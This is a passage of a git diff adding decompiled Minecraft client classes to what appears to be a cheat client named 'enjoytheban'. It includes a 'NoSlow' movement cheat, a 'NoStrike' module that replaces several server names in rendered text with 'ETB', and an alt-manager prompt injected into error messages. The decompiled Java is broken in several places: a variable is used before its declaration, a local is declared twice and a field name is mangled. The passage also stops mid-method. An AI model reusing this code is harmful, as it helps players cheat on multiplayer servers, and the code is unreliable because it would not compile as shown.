+      (!worldObj.getBlockState(p_175162_1_.offsetUp()).getBlock().isNormalCube());
+  }
+  
+
+
+  public void setSprinting(boolean sprinting)
+  {
+    super.setSprinting(sprinting);
+    sprintingTicksLeft = (sprinting ? 600 : 0);
+  }
+  
+
+
+  public void setXPStats(float p_71152_1_, int p_71152_2_, int p_71152_3_)
+  {
+    experience = p_71152_1_;
+    experienceTotal = p_71152_2_;
+    experienceLevel = p_71152_3_;
+  }
+  
+
+
+
+
+
+
+
+  public void addChatMessage(IChatComponent message)
+  {
+    mc.ingameGUI.getChatGUI().printChatMessage(message);
+  }
+  
+
+
+  public boolean canCommandSenderUseCommand(int permissionLevel, String command)
+  {
+    return permissionLevel <= 0;
+  }
+  
+  public BlockPos getPosition() {
+    return new BlockPos(posX + 0.5D, posY + 0.5D, posZ + 0.5D);
+  }
+  
+  public void playSound(String name, float volume, float pitch) {
+    worldObj.playSound(posX, posY, posZ, name, volume, pitch, false);
+  }
+  
+
+
+  public boolean isServerWorld()
+  {
+    return true;
+  }
+  
+  public boolean isRidingHorse() {
+    return (ridingEntity != null) && ((ridingEntity instanceof EntityHorse)) && 
+      (((EntityHorse)ridingEntity).isHorseSaddled());
+  }
+  
+  public float getHorseJumpPower() {
+    return horseJumpPower;
+  }
+  
+  public float getSpeed() {
+    float vel = (float)Math.sqrt(motionX * motionX + motionZ * motionZ);
+    return vel;
+  }
+  
+  public void func_175141_a(TileEntitySign p_175141_1_) {
+    mc.displayGuiScreen(new GuiEditSign(p_175141_1_));
+  }
+  
+  public void func_146095_a(CommandBlockLogic p_146095_1_) {
+    mc.displayGuiScreen(new GuiCommandBlock(p_146095_1_));
+  }
+  
+
+
+  public void displayGUIBook(ItemStack bookStack)
+  {
+    Item var2 = bookStack.getItem();
+    
+    if (var2 == Items.writable_book) {
+      mc.displayGuiScreen(new GuiScreenBook(this, bookStack, true));
+    }
+  }
+  
+
+
+  public void displayGUIChest(IInventory chestInventory)
+  {
+    String var2 = (chestInventory instanceof IInteractionObject) ? ((IInteractionObject)chestInventory).getGuiID() : 
+      "minecraft:container";
+    
+    if ("minecraft:chest".equals(var2)) {
+      mc.displayGuiScreen(new GuiChest(inventory, chestInventory));
+    } else if ("minecraft:hopper".equals(var2)) {
+      mc.displayGuiScreen(new GuiHopper(inventory, chestInventory));
+    } else if ("minecraft:furnace".equals(var2)) {
+      mc.displayGuiScreen(new GuiFurnace(inventory, chestInventory));
+    } else if ("minecraft:brewing_stand".equals(var2)) {
+      mc.displayGuiScreen(new net.minecraft.client.gui.inventory.GuiBrewingStand(inventory, chestInventory));
+    } else if ("minecraft:beacon".equals(var2)) {
+      mc.displayGuiScreen(new GuiBeacon(inventory, chestInventory));
+    } else if ((!"minecraft:dispenser".equals(var2)) && (!"minecraft:dropper".equals(var2))) {
+      mc.displayGuiScreen(new GuiChest(inventory, chestInventory));
+    } else {
+      mc.displayGuiScreen(new net.minecraft.client.gui.inventory.GuiDispenser(inventory, chestInventory));
+    }
+  }
+  
+  public void displayGUIHorse(EntityHorse p_110298_1_, IInventory p_110298_2_) {
+    mc.displayGuiScreen(new GuiScreenHorseInventory(inventory, p_110298_2_, p_110298_1_));
+  }
+  
+  public void displayGui(IInteractionObject guiOwner) {
+    String var2 = guiOwner.getGuiID();
+    
+    if ("minecraft:crafting_table".equals(var2)) {
+      mc.displayGuiScreen(new net.minecraft.client.gui.inventory.GuiCrafting(inventory, worldObj));
+    } else if ("minecraft:enchanting_table".equals(var2)) {
+      mc.displayGuiScreen(new GuiEnchantment(inventory, worldObj, guiOwner));
+    } else if ("minecraft:anvil".equals(var2)) {
+      mc.displayGuiScreen(new GuiRepair(inventory, worldObj));
+    }
+  }
+  
+  public void displayVillagerTradeGui(IMerchant villager) {
+    mc.displayGuiScreen(new net.minecraft.client.gui.GuiMerchant(inventory, villager, worldObj));
+  }
+  
+
+
+
+  public void onCriticalHit(Entity p_71009_1_)
+  {
+    mc.effectRenderer.func_178926_a(p_71009_1_, EnumParticleTypes.CRIT);
+  }
+  
+  public void onEnchantmentCritical(Entity p_71047_1_) {
+    mc.effectRenderer.func_178926_a(p_71047_1_, EnumParticleTypes.CRIT_MAGIC);
+  }
+  
+
+
+  public boolean isSneaking()
+  {
+    boolean var1 = movementInput != null ? movementInput.sneak : false;
+    return (var1) && (!sleeping);
+  }
+  
+  public void updateEntityActionState() {
+    super.updateEntityActionState();
+    
+    if (func_175160_A()) {
+      moveStrafing = movementInput.moveStrafe;
+      moveForward = movementInput.moveForward;
+      isJumping = movementInput.jump;
+      prevRenderArmYaw = renderArmYaw;
+      prevRenderArmPitch = renderArmPitch;
+      renderArmPitch = 
+        ((float)(renderArmPitch + (rotationPitch - renderArmPitch) * 0.5D));
+      renderArmYaw = 
+        ((float)(renderArmYaw + (rotationYaw - renderArmYaw) * 0.5D));
+    }
+  }
+  
+  protected boolean func_175160_A() {
+    return mc.func_175606_aa() == this;
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    if (sprintingTicksLeft > 0) {
+      sprintingTicksLeft -= 1;
+      
+      if (sprintingTicksLeft == 0) {
+        setSprinting(false);
+      }
+    }
+    
+    if (sprintToggleTimer > 0) {
+      sprintToggleTimer -= 1;
+    }
+    
+    prevTimeInPortal = timeInPortal;
+    
+    if (inPortal) {
+      if ((mc.currentScreen != null) && (!mc.currentScreen.doesGuiPauseGame())) {
+        mc.displayGuiScreen(null);
+      }
+      
+      if (timeInPortal == 0.0F) {
+        mc.getSoundHandler().playSound(PositionedSoundRecord.createPositionedSoundRecord(
+          new ResourceLocation("portal.trigger"), rand.nextFloat() * 0.4F + 0.8F));
+      }
+      
+      timeInPortal += 0.0125F;
+      
+      if (timeInPortal >= 1.0F) {
+        timeInPortal = 1.0F;
+      }
+      
+      inPortal = false;
+    } else if ((isPotionActive(Potion.confusion)) && 
+      (getActivePotionEffect(Potion.confusion).getDuration() > 60)) {
+      timeInPortal += 0.006666667F;
+      
+      if (timeInPortal > 1.0F) {
+        timeInPortal = 1.0F;
+      }
+    } else {
+      if (timeInPortal > 0.0F) {
+        timeInPortal -= 0.05F;
+      }
+      
+      if (timeInPortal < 0.0F) {
+        timeInPortal = 0.0F;
+      }
+    }
+    
+    if (timeUntilPortal > 0) {
+      timeUntilPortal -= 1;
+    }
+    
+    boolean var1 = movementInput.jump;
+    boolean var2 = movementInput.sneak;
+    float var3 = 0.8F;
+    boolean var4 = movementInput.moveForward >= var3;
+    movementInput.updatePlayerMoveState();
+    
+
+    if ((isUsingItem()) && (!isRiding()) && 
+      (!Client.instance.getModuleManager().getModuleByClass(NoSlow.class).isEnabled())) {
+      movementInput.moveStrafe *= 0.2F;
+      movementInput.moveForward *= 0.2F;
+      sprintToggleTimer = 0;
+    }
+    
+    pushOutOfBlocks(posX - width * 0.35D, getEntityBoundingBoxminY + 0.5D, 
+      posZ + width * 0.35D);
+    pushOutOfBlocks(posX - width * 0.35D, getEntityBoundingBoxminY + 0.5D, 
+      posZ - width * 0.35D);
+    pushOutOfBlocks(posX + width * 0.35D, getEntityBoundingBoxminY + 0.5D, 
+      posZ - width * 0.35D);
+    pushOutOfBlocks(posX + width * 0.35D, getEntityBoundingBoxminY + 0.5D, 
+      posZ + width * 0.35D);
+    boolean var5 = (getFoodStats().getFoodLevel() > 6.0F) || (capabilities.allowFlying);
+    
+    if ((onGround) && (!var2) && (!var4) && (movementInput.moveForward >= var3) && (!isSprinting()) && (var5) && 
+      (!isUsingItem()) && (!isPotionActive(Potion.blindness))) {
+      if ((sprintToggleTimer <= 0) && (!mc.gameSettings.keyBindSprint.getIsKeyPressed())) {
+        sprintToggleTimer = 7;
+      } else {
+        setSprinting(true);
+      }
+    }
+    
+    if ((!isSprinting()) && (movementInput.moveForward >= var3) && (var5) && (!isUsingItem()) && 
+      (!isPotionActive(Potion.blindness)) && (mc.gameSettings.keyBindSprint.getIsKeyPressed())) {
+      setSprinting(true);
+    }
+    
+    if ((isSprinting()) && ((movementInput.moveForward < var3) || (isCollidedHorizontally) || (!var5))) {
+      setSprinting(false);
+    }
+    
+    if (capabilities.allowFlying) {
+      if (mc.playerController.isSpectatorMode()) {
+        if (!capabilities.isFlying) {
+          capabilities.isFlying = true;
+          sendPlayerAbilities();
+        }
+      } else if ((!var1) && (movementInput.jump)) {
+        if (flyToggleTimer == 0) {
+          flyToggleTimer = 7;
+        } else {
+          capabilities.isFlying = (!capabilities.isFlying);
+          sendPlayerAbilities();
+          flyToggleTimer = 0;
+        }
+      }
+    }
+    
+    if ((capabilities.isFlying) && (func_175160_A())) {
+      if (movementInput.sneak) {
+        motionY -= capabilities.getFlySpeed() * 3.0F;
+      }
+      
+      if (movementInput.jump) {
+        motionY += capabilities.getFlySpeed() * 3.0F;
+      }
+    }
+    
+    if (isRidingHorse()) {
+      if (horseJumpPowerCounter < 0) {
+        horseJumpPowerCounter += 1;
+        
+        if (horseJumpPowerCounter == 0) {
+          horseJumpPower = 0.0F;
+        }
+      }
+      
+      if ((var1) && (!movementInput.jump)) {
+        horseJumpPowerCounter = -10;
+        sendHorseJump();
+      } else if ((!var1) && (movementInput.jump)) {
+        horseJumpPowerCounter = 0;
+        horseJumpPower = 0.0F;
+      } else if (var1) {
+        horseJumpPowerCounter += 1;
+        
+        if (horseJumpPowerCounter < 10) {
+          horseJumpPower = (horseJumpPowerCounter * 0.1F);
+        } else {
+          horseJumpPower = (0.8F + 2.0F / (horseJumpPowerCounter - 9) * 0.1F);
+        }
+      }
+    } else {
+      horseJumpPower = 0.0F;
+    }
+    
+    super.onLivingUpdate();
+    
+    if ((onGround) && (capabilities.isFlying) && (!mc.playerController.isSpectatorMode())) {
+      capabilities.isFlying = false;
+      sendPlayerAbilities();
+    }
+  }
+  
+
+  public float getDirection()
+  {
+    float yaw = rotationYaw;
+    float forward = moveForward;
+    float strafe = moveStrafing;
+    
+    yaw += (forward < 0.0F ? 180 : 0);
+    
+    if (strafe < 0.0F) {
+      yaw += (forward == 0.0F ? 90.0F : forward < 0.0F ? -45.0F : 45.0F);
+    }
+    
+    if (strafe > 0.0F) {
+      yaw -= (forward == 0.0F ? 90.0F : forward < 0.0F ? -45.0F : 45.0F);
+    }
+    return yaw * 0.017453292F;
+  }
+  
+  public void setSpeed(double speed)
+  {
+    motionX = (-MathHelper.sin(getDirection()) * speed);
+    motionZ = (MathHelper.cos(getDirection()) * speed);
+  }
+  
+  public boolean moving()
+  {
+    return (moveForward != 0.0F) || (moveStrafing != 0.0F);
+  }
+  
+  public int nextSlot()
+  {
+    return inventory.currentItem < 8 ? inventory.currentItem + 1 : 0;
+  }
+  
+  public void moveToHotbar(int slot, int hotbar)
+  {
+    mc.playerController.windowClick(inventoryContainer.windowId, slot, hotbar, 2, this);
+  }
+  
+  public void setMoveSpeed(EventMove event, double speed)
+  {
+    double forward = mc.thePlayer.movementInput.moveForward;
+    double strafe = mc.thePlayer.movementInput.moveStrafe;
+    float yaw = mc.thePlayer.rotationYaw;
+    
+    if ((forward == 0.0D) && (strafe == 0.0D)) {
+      event.setX(0.0D);
+      event.setZ(0.0D);
+    }
+    else {
+      if (forward != 0.0D) {
+        if (strafe > 0.0D) {
+          yaw += (forward > 0.0D ? -45 : 45);
+        } else if (strafe < 0.0D) {
+          yaw += (forward > 0.0D ? 45 : -45);
+        }
+        strafe = 0.0D;
+        if (forward > 0.0D) {
+          forward = 1.0D;
+        } else if (forward < 0.0D) {
+          forward = -1.0D;
+        }
+      }
+      
+      event.setX(forward * speed * Math.cos(Math.toRadians(yaw + 90.0F)) + 
+        strafe * speed * Math.sin(Math.toRadians(yaw + 90.0F)));
+      event.setZ(forward * speed * Math.sin(Math.toRadians(yaw + 90.0F)) - 
+        strafe * speed * Math.cos(Math.toRadians(yaw + 90.0F)));
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/ChatLine.java b/src/minecraft/net/minecraft/client/gui/ChatLine.java
new file mode 100644
index 0000000..c913f37
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/ChatLine.java
@@ -0,0 +1,38 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.util.IChatComponent;
+
+
+
+
+
+
+public class ChatLine
+{
+  private final int updateCounterCreated;
+  private final IChatComponent lineString;
+  private final int chatLineID;
+  private static final String __OBFID = "CL_00000627";
+  
+  public ChatLine(int p_i45000_1_, IChatComponent p_i45000_2_, int p_i45000_3_)
+  {
+    lineString = p_i45000_2_;
+    updateCounterCreated = p_i45000_1_;
+    chatLineID = p_i45000_3_;
+  }
+  
+  public IChatComponent getChatComponent()
+  {
+    return lineString;
+  }
+  
+  public int getUpdatedCounter()
+  {
+    return updateCounterCreated;
+  }
+  
+  public int getChatLineID()
+  {
+    return chatLineID;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/FontRenderer.java b/src/minecraft/net/minecraft/client/gui/FontRenderer.java
new file mode 100644
index 0000000..b4242e3
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/FontRenderer.java
@@ -0,0 +1,979 @@
+package net.minecraft.client.gui;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.modules.player.NoStrike;
+import com.ibm.icu.text.ArabicShaping;
+import com.ibm.icu.text.ArabicShapingException;
+import com.ibm.icu.text.Bidi;
+import java.awt.image.BufferedImage;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Properties;
+import java.util.Random;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.resources.IResourceManagerReloadListener;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.ResourceLocation;
+import optifine.Config;
+import optifine.CustomColors;
+import optifine.FontUtils;
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+import org.lwjgl.opengl.GL11;
+
+public class FontRenderer implements IResourceManagerReloadListener
+{
+  private static final ResourceLocation[] unicodePageLocations = new ResourceLocation['Ā'];
+  
+
+  private float[] charWidth = new float['Ā'];
+  
+
+  public int FONT_HEIGHT = 9;
+  public Random fontRandom = new Random();
+  
+
+
+
+
+  private byte[] glyphWidth = new byte[65536];
+  
+
+
+
+
+  private int[] colorCode = new int[32];
+  
+
+  private ResourceLocation locationFontTexture;
+  
+
+  private final TextureManager renderEngine;
+  
+
+  private float posX;
+  
+
+  private float posY;
+  
+
+  private boolean unicodeFlag;
+  
+
+  private boolean bidiFlag;
+  
+
+  private float red;
+  
+
+  private float blue;
+  
+
+  private float green;
+  
+
+  private float alpha;
+  
+
+  private int textColor;
+  
+
+  private boolean randomStyle;
+  
+
+  private boolean boldStyle;
+  
+
+  private boolean italicStyle;
+  
+
+  private boolean underlineStyle;
+  
+
+  private boolean strikethroughStyle;
+  
+
+  private static final String __OBFID = "CL_00000660";
+  
+
+  public GameSettings gameSettings;
+  
+
+  public ResourceLocation locationFontTextureBase;
+  
+
+  public boolean enabled = true;
+  public float offsetBold = 1.0F;
+  
+  public FontRenderer(GameSettings p_i1035_1_, ResourceLocation p_i1035_2_, TextureManager p_i1035_3_, boolean p_i1035_4_)
+  {
+    gameSettings = p_i1035_1_;
+    locationFontTextureBase = p_i1035_2_;
+    locationFontTexture = p_i1035_2_;
+    renderEngine = p_i1035_3_;
+    unicodeFlag = p_i1035_4_;
+    locationFontTexture = FontUtils.getHdFontLocation(locationFontTextureBase);
+    bindTexture(locationFontTexture);
+    
+    for (int var5 = 0; var5 < 32; var5++) {
+      int var6 = (var5 >> 3 & 0x1) * 85;
+      int var7 = (var5 >> 2 & 0x1) * 170 + var6;
+      int var8 = (var5 >> 1 & 0x1) * 170 + var6;
+      int var9 = (var5 >> 0 & 0x1) * 170 + var6;
+      
+      if (var5 == 6) {
+        var7 += 85;
+      }
+      
+      if (anaglyph) {
+        int var10 = (var7 * 30 + var8 * 59 + var9 * 11) / 100;
+        int var11 = (var7 * 30 + var8 * 70) / 100;
+        int var12 = (var7 * 30 + var9 * 70) / 100;
+        var7 = var10;
+        var8 = var11;
+        var9 = var12;
+      }
+      
+      if (var5 >= 16) {
+        var7 /= 4;
+        var8 /= 4;
+        var9 /= 4;
+      }
+      
+      colorCode[var5] = ((var7 & 0xFF) << 16 | (var8 & 0xFF) << 8 | var9 & 0xFF);
+    }
+    
+    readGlyphSizes();
+  }
+  
+  public void onResourceManagerReload(IResourceManager resourceManager) {
+    locationFontTexture = FontUtils.getHdFontLocation(locationFontTextureBase);
+    
+    for (int i = 0; i < unicodePageLocations.length; i++) {
+      unicodePageLocations[i] = null;
+    }
+    
+    readFontTexture();
+    readGlyphSizes();
+  }
+  
+  private void readFontTexture()
+  {
+    try
+    {
+      bufferedimage = net.minecraft.client.renderer.texture.TextureUtil.func_177053_a(getResourceInputStream(locationFontTexture));
+    } catch (IOException var21) { BufferedImage bufferedimage;
+      throw new RuntimeException(var21);
+    }
+    BufferedImage bufferedimage;
+    Properties props = FontUtils.readFontProperties(locationFontTexture);
+    int imgWidth = bufferedimage.getWidth();
+    int imgHeight = bufferedimage.getHeight();
+    int charW = imgWidth / 16;
+    int charH = imgHeight / 16;
+    float kx = imgWidth / 128.0F;
+    float boldScaleFactor = Config.limit(kx, 1.0F, 2.0F);
+    offsetBold = (1.0F / boldScaleFactor);
+    float offsetBoldConfig = FontUtils.readFloat(props, "offsetBold", -1.0F);
+    
+    if (offsetBoldConfig >= 0.0F) {
+      offsetBold = offsetBoldConfig;
+    }
+    
+    int[] ai = new int[imgWidth * imgHeight];
+    bufferedimage.getRGB(0, 0, imgWidth, imgHeight, ai, 0, imgWidth);
+    int k = 0;
+    
+    while (k < 256) {
+      int cx = k % 16;
+      int cy = k / 16;
+      boolean px = false;
+      int var22 = charW - 1;
+      
+
+      while (var22 >= 0) {
+        int x = cx * charW + var22;
+        boolean flag = true;
+        
+        for (int py = 0; (py < charH) && (flag); py++) {
+          int ypos = (cy * charH + py) * imgWidth;
+          int col = ai[(x + ypos)];
+          int al = col >> 24 & 0xFF;
+          
+          if (al > 16) {
+            flag = false;
+          }
+        }
+        
+        if (!flag) break;
+        var22--;
+      }
+      
+
+
+      if (k == 65) {
+        k = k;
+      }
+      
+      if (k == 32) {
+        if (charW <= 8) {
+          var22 = (int)(2.0F * kx);
+        } else {
+          var22 = (int)(1.5F * kx);
+        }
+      }
+      
+      charWidth[k] = ((var22 + 1) / kx + 1.0F);
+      k++;
+    }
+    
+
+
+    FontUtils.readCustomCharWidths(props, charWidth);
+  }
+  
+  private void readGlyphSizes() {
+    InputStream var1 = null;
+    try
+    {
+      var1 = getResourceInputStream(new ResourceLocation("font/glyph_sizes.bin"));
+      var1.read(glyphWidth);
+    } catch (IOException var6) {
+      throw new RuntimeException(var6);
+    } finally {
+      IOUtils.closeQuietly(var1);
+    }
+  }
+  
+
+
+  private float renderCharAtPos(int p_78278_1_, char p_78278_2_, boolean p_78278_3_)
+  {
+    return 
+    
+      ("ÀÁÂÈÊËÍÓÔÕÚßãõğİıŒœŞşŴŵžȇ\000\000\000\000\000\000\000 !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\000ÇüéâäàåçêëèïîìÄÅÉæÆôöòûùÿÖÜø£Ø׃áíóúñѪº¿®¬½¼¡«»░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀αβΓπΣσμτΦΘΩδ∞∅∈∩≡±≥≤⌠⌡÷≈°∙·√ⁿ²■\000"
+      .indexOf(p_78278_2_) != -1) && (!unicodeFlag) ? 
+      renderDefaultChar(p_78278_1_, p_78278_3_) : p_78278_2_ == ' ' ? 4.0F : p_78278_2_ == ' ' ? 4.0F : !unicodeFlag ? charWidth[p_78278_2_] : 
+      renderUnicodeChar(p_78278_2_, p_78278_3_);
+  }
+  
+
+
+
+  private float renderDefaultChar(int p_78266_1_, boolean p_78266_2_)
+  {
+    float var3 = p_78266_1_ % 16 * 8;
+    float var4 = p_78266_1_ / 16 * 8;
+    float var5 = p_78266_2_ ? 1.0F : 0.0F;
+    bindTexture(locationFontTexture);
+    float var6 = 7.99F;
+    GL11.glBegin(5);
+    GL11.glTexCoord2f(var3 / 128.0F, var4 / 128.0F);
+    GL11.glVertex3f(posX + var5, posY, 0.0F);
+    GL11.glTexCoord2f(var3 / 128.0F, (var4 + 7.99F) / 128.0F);
+    GL11.glVertex3f(posX - var5, posY + 7.99F, 0.0F);
+    GL11.glTexCoord2f((var3 + var6 - 1.0F) / 128.0F, var4 / 128.0F);
+    GL11.glVertex3f(posX + var6 - 1.0F + var5, posY, 0.0F);
+    GL11.glTexCoord2f((var3 + var6 - 1.0F) / 128.0F, (var4 + 7.99F) / 128.0F);
+    GL11.glVertex3f(posX + var6 - 1.0F - var5, posY + 7.99F, 0.0F);
+    GL11.glEnd();
+    return charWidth[p_78266_1_];
+  }
+  
+  private ResourceLocation getUnicodePageLocation(int p_111271_1_) {
+    if (unicodePageLocations[p_111271_1_] == null) {
+      unicodePageLocations[p_111271_1_] = new ResourceLocation(
+        String.format("textures/font/unicode_page_%02x.png", new Object[] { Integer.valueOf(p_111271_1_) }));
+      unicodePageLocations[p_111271_1_] = FontUtils.getHdFontLocation(unicodePageLocations[p_111271_1_]);
+    }
+    
+    return unicodePageLocations[p_111271_1_];
+  }
+  
+
+
+
+  private void loadGlyphTexture(int p_78257_1_)
+  {
+    bindTexture(getUnicodePageLocation(p_78257_1_));
+  }
+  
+
+
+
+  private float renderUnicodeChar(char p_78277_1_, boolean p_78277_2_)
+  {
+    if (glyphWidth[p_78277_1_] == 0) {
+      return 0.0F;
+    }
+    int var3 = p_78277_1_ / 'Ā';
+    loadGlyphTexture(var3);
+    int var4 = glyphWidth[p_78277_1_] >>> 4;
+    int var5 = glyphWidth[p_78277_1_] & 0xF;
+    var4 &= 0xF;
+    float var6 = var4;
+    float var7 = var5 + 1;
+    float var8 = p_78277_1_ % '\020' * 16 + var6;
+    float var9 = (p_78277_1_ & 0xFF) / '\020' * 16;
+    float var10 = var7 - var6 - 0.02F;
+    float var11 = p_78277_2_ ? 1.0F : 0.0F;
+    GL11.glBegin(5);
+    GL11.glTexCoord2f(var8 / 256.0F, var9 / 256.0F);
+    GL11.glVertex3f(posX + var11, posY, 0.0F);
+    GL11.glTexCoord2f(var8 / 256.0F, (var9 + 15.98F) / 256.0F);
+    GL11.glVertex3f(posX - var11, posY + 7.99F, 0.0F);
+    GL11.glTexCoord2f((var8 + var10) / 256.0F, var9 / 256.0F);
+    GL11.glVertex3f(posX + var10 / 2.0F + var11, posY, 0.0F);
+    GL11.glTexCoord2f((var8 + var10) / 256.0F, (var9 + 15.98F) / 256.0F);
+    GL11.glVertex3f(posX + var10 / 2.0F - var11, posY + 7.99F, 0.0F);
+    GL11.glEnd();
+    return (var7 - var6) / 2.0F + 1.0F;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int drawStringWithShadow(String text, float x, float y, int color)
+  {
+    return func_175065_a(text, x, y, color, true);
+  }
+  
+
+
+  public int drawString(String text, int x, int y, int color)
+  {
+    return !enabled ? 0 : func_175065_a(text, x, y, color, false);
+  }
+  
+  public int func_175065_a(String p_175065_1_, float p_175065_2_, float p_175065_3_, int p_175065_4_, boolean p_175065_5_)
+  {
+    enableAlpha();
+    if (StringUtils.containsIgnoreCase(p_175065_1_, "Internal Exception: java.lang.NullPointerException")) {
+      p_175065_1_ = p_175065_1_.replaceAll("(?i)Internal Exception: java.lang.NullPointerException", String.valueOf("") + EnumChatFormatting.BLUE + "Please use our alt manager to log into an account!");
+    }
+    if (Client.instance.getModuleManager().getModuleByClass(NoStrike.class).isEnabled()) {
+      if (StringUtils.containsIgnoreCase(p_175065_1_, "VeltLLC")) {
+        p_175065_1_ = p_175065_1_.replaceAll("(?i)VeltLLC", String.valueOf("") + EnumChatFormatting.BLUE + "ETB");
+      }
+      if (StringUtils.containsIgnoreCase(p_175065_1_, "VeltPVP")) {
+        p_175065_1_ = p_175065_1_.replaceAll("(?i)VeltPVP", String.valueOf("") + EnumChatFormatting.BLUE + "ETB");
+      }
+      if (StringUtils.containsIgnoreCase(p_175065_1_, "Velt")) {
+        p_175065_1_ = p_175065_1_.replaceAll("(?i)Velt", String.valueOf("") + EnumChatFormatting.BLUE + "ETB");
+      }
+      if (StringUtils.containsIgnoreCase(p_175065_1_, "Arcane")) {
+        p_175065_1_ = p_175065_1_.replaceAll("(?i)Arcane", String.valueOf("") + EnumChatFormatting.BLUE + "ETB");
+      }
+      if (StringUtils.containsIgnoreCase(p_175065_1_, "FaithfulMC")) {
+        p_175065_1_ = p_175065_1_.replaceAll("(?i)FaithfulMC", String.valueOf("") + EnumChatFormatting.BLUE + "ETB");
+      }
+      if (StringUtils.containsIgnoreCase(p_175065_1_, "Faithful")) {
+        p_175065_1_ = p_175065_1_.replaceAll("(?i)Faithful", String.valueOf("") + EnumChatFormatting.BLUE + "ETB");
+      }
+      if (StringUtils.containsIgnoreCase(p_175065_1_, "ViperMC")) {
+        p_175065_1_ = p_175065_1_.replaceAll("(?i)ViperMC", String.valueOf("") + EnumChatFormatting.BLUE + "ETB");
+      }
+      if (StringUtils.containsIgnoreCase(p_175065_1_, "Viper")) {
+        p_175065_1_ = p_175065_1_.replaceAll("(?i)Viper", String.valueOf("") + EnumChatFormatting.BLUE + "ETB");
+      }
+    }
+    resetStyles();
+    
+    int var6;
+    if (p_175065_5_) {
+      int var6 = func_180455_b(p_175065_1_, p_175065_2_ + 1.0F, p_175065_3_ + 1.0F, p_175065_4_, true);
+      var6 = Math.max(var6, func_180455_b(p_175065_1_, p_175065_2_, p_175065_3_, p_175065_4_, false));
+    } else {
+      var6 = func_180455_b(p_175065_1_, p_175065_2_, p_175065_3_, p_175065_4_, false);
+    }
+    
+    return var6;
+  }
+  
+
+
+  private String bidiReorder(String p_147647_1_)
+  {
+    try
+    {
+      Bidi var3 = new Bidi(new ArabicShaping(8).shape(p_147647_1_), 127);
+      var3.setReorderingMode(0);
+      return var3.writeReordered(2);
+    } catch (ArabicShapingException var31) {}
+    return p_147647_1_;
+  }
+  
+
+
+
+
+  private void resetStyles()
+  {
+    randomStyle = false;
+    boldStyle = false;
+    italicStyle = false;
+    underlineStyle = false;
+    strikethroughStyle = false;
+  }
+  
+
+
+  private void renderStringAtPos(String p_78255_1_, boolean p_78255_2_)
+  {
+    for (int var3 = 0; var3 < p_78255_1_.length(); var3++) {
+      char var4 = p_78255_1_.charAt(var3);
+      
+
+
+      if ((var4 == '§') && (var3 + 1 < p_78255_1_.length())) {
+        int var5 = "0123456789abcdefklmnor".indexOf(p_78255_1_.toLowerCase().charAt(var3 + 1));
+        
+        if (var5 < 16) {
+          randomStyle = false;
+          boldStyle = false;
+          strikethroughStyle = false;
+          underlineStyle = false;
+          italicStyle = false;
+          
+          if ((var5 < 0) || (var5 > 15)) {
+            var5 = 15;
+          }
+          
+          if (p_78255_2_) {
+            var5 += 16;
+          }
+          
+          int var6 = colorCode[var5];
+          
+          if (Config.isCustomColors()) {
+            var6 = CustomColors.getTextColor(var5, var6);
+          }
+          
+          textColor = var6;
+          setColor((var6 >> 16) / 255.0F, (var6 >> 8 & 0xFF) / 255.0F, 
+            (var6 & 0xFF) / 255.0F, alpha);
+        } else if (var5 == 16) {
+          randomStyle = true;
+        } else if (var5 == 17) {
+          boldStyle = true;
+        } else if (var5 == 18) {
+          strikethroughStyle = true;
+        } else if (var5 == 19) {
+          underlineStyle = true;
+        } else if (var5 == 20) {
+          italicStyle = true;
+        } else if (var5 == 21) {
+          randomStyle = false;
+          boldStyle = false;
+          strikethroughStyle = false;
+          underlineStyle = false;
+          italicStyle = false;
+          setColor(red, blue, green, alpha);
+        }
+        
+        var3++;
+      } else {
+        int var5 = "ÀÁÂÈÊËÍÓÔÕÚßãõğİıŒœŞşŴŵžȇ\000\000\000\000\000\000\000 !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\000ÇüéâäàåçêëèïîìÄÅÉæÆôöòûùÿÖÜø£Ø׃áíóúñѪº¿®¬½¼¡«»░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀αβΓπΣσμτΦΘΩδ∞∅∈∩≡±≥≤⌠⌡÷≈°∙·√ⁿ²■\000"
+          .indexOf(var4);
+        
+        if ((randomStyle) && (var5 != -1)) {
+          int var6;
+          do { var6 = fontRandom.nextInt(charWidth.length);
+          } while ((int)charWidth[var5] != (int)charWidth[var6]);
+          
+          var5 = var6;
+        }
+        
+        float var12 = (var5 != -1) && (!unicodeFlag) ? offsetBold : 0.5F;
+        boolean var7 = ((var4 == 0) || (var5 == -1) || (unicodeFlag)) && (p_78255_2_);
+        
+        if (var7) {
+          posX -= var12;
+          posY -= var12;
+        }
+        
+        float var8 = renderCharAtPos(var5, var4, italicStyle);
+        
+        if (var7) {
+          posX += var12;
+          posY += var12;
+        }
+        
+        if (boldStyle) {
+          posX += var12;
+          
+          if (var7) {
+            posX -= var12;
+            posY -= var12;
+          }
+          
+          renderCharAtPos(var5, var4, italicStyle);
+          posX -= var12;
+          
+          if (var7) {
+            posX += var12;
+            posY += var12;
